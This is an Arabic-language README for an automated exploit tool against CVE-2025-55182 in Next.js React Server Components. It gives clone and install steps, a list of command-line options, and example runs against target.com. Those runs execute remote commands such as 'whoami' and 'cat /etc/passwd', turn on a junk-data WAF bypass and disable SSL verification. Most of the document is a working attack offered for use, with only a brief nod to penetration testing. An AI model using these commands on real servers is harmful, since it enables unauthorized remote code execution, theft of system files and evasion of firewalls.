
أداة استغلال آلية لـ CVE-2025-55182 في مكونات خادم React Next.js. تتيح تنفيذ الأوامر عن بُعد مع تجاوز جدار الحماية للتطبيقات (WAF) مدمج، ورؤوس مخصصة، وفحص جماعي لاختبار الاختراق.
أداة استغلال قوية لاكتشاف واستغلال الثغرة CVE-2025-55182 في مكونات خادم React من Next.js. تتيح هذه الأداة تنفيذ الأوامر عن بُعد (RCE) في تطبيقات Next.js الضعيفة مع قدرات مدمجة لتجاوز جدران الحماية (WAF).

CVE-2025-55182 هي ثغرة أمنية حرجة في مكونات خادم React من Next.js تسمح للمهاجمين عن بُعد بتنفيذ أوامر عشوائية على الخوادم الضعيفة. توفر هذه الأداة طريقة آلية لاكتشاف هذه الثغرة واستغلالها.
# استنساخ المستودع
git clone https://github.com/Dh4v4l8/CVE-2025-55182-poc-tool.git
cd CVE-2025-55182-poc-tool
# جعل السكريبت قابلًا للتنفيذ
chmod +x exploit.sh
# اختبار التثبيت
./exploit.sh -h
توفر الأداة عدة خيارات من سطر الأوامر تتيح للباحثين تخصيص الطلبات، محاكاة حركة المرور، أو اختبار طبقات التصفية.
Usage: ./exploit.sh [OPTIONS]
Options:
-d, --domain Target domain/URL (default: http://localhost:3000)
If no protocol specified, defaults to https://
-c, --command Command to execute (default: id)
-w, --waf-bypass Enable WAF bypass with junk data (default: 128KB)
--waf-size SIZE WAF bypass data size in KB (default: 128)
--timeout SECONDS Request timeout in seconds (default: 15)
-k, --insecure Disable SSL certificate verification
--user-agent AGENT Custom User-Agent string
-h, --help Show this help message
# التحقق من ضعف الهدف باستخدام الأمر الافتراضي
./exploit.sh -d https://target.com
# تنفيذ أمر مخصص
./exploit.sh -d https://target.com -c "whoami"
# قراءة ملفات النظام
./exploit.sh -d https://target.com -c "cat /etc/passwd"
# تفعيل تجاوز جدار الحماية (WAF)
./exploit.sh -d https://target.com -c "ls -la" -w
# حجم مخصص لتجاوز WAF (256 كيلوبايت)
./exploit.sh -d https://target.com -c "cat /etc/passwd" -w --waf-size 256
# تعطيل التحقق من SSL
./exploit.sh -d https://target.com -c "id" -k
# مهلة زمنية مخصصة
./exploit.sh -d https://target.com -c "ping -c 3 google.com" --timeout 30
# وكيل مستخدم مخصص
./exploit.sh -d https://target.com -c "id" --user-agent "CustomScanner/1.0"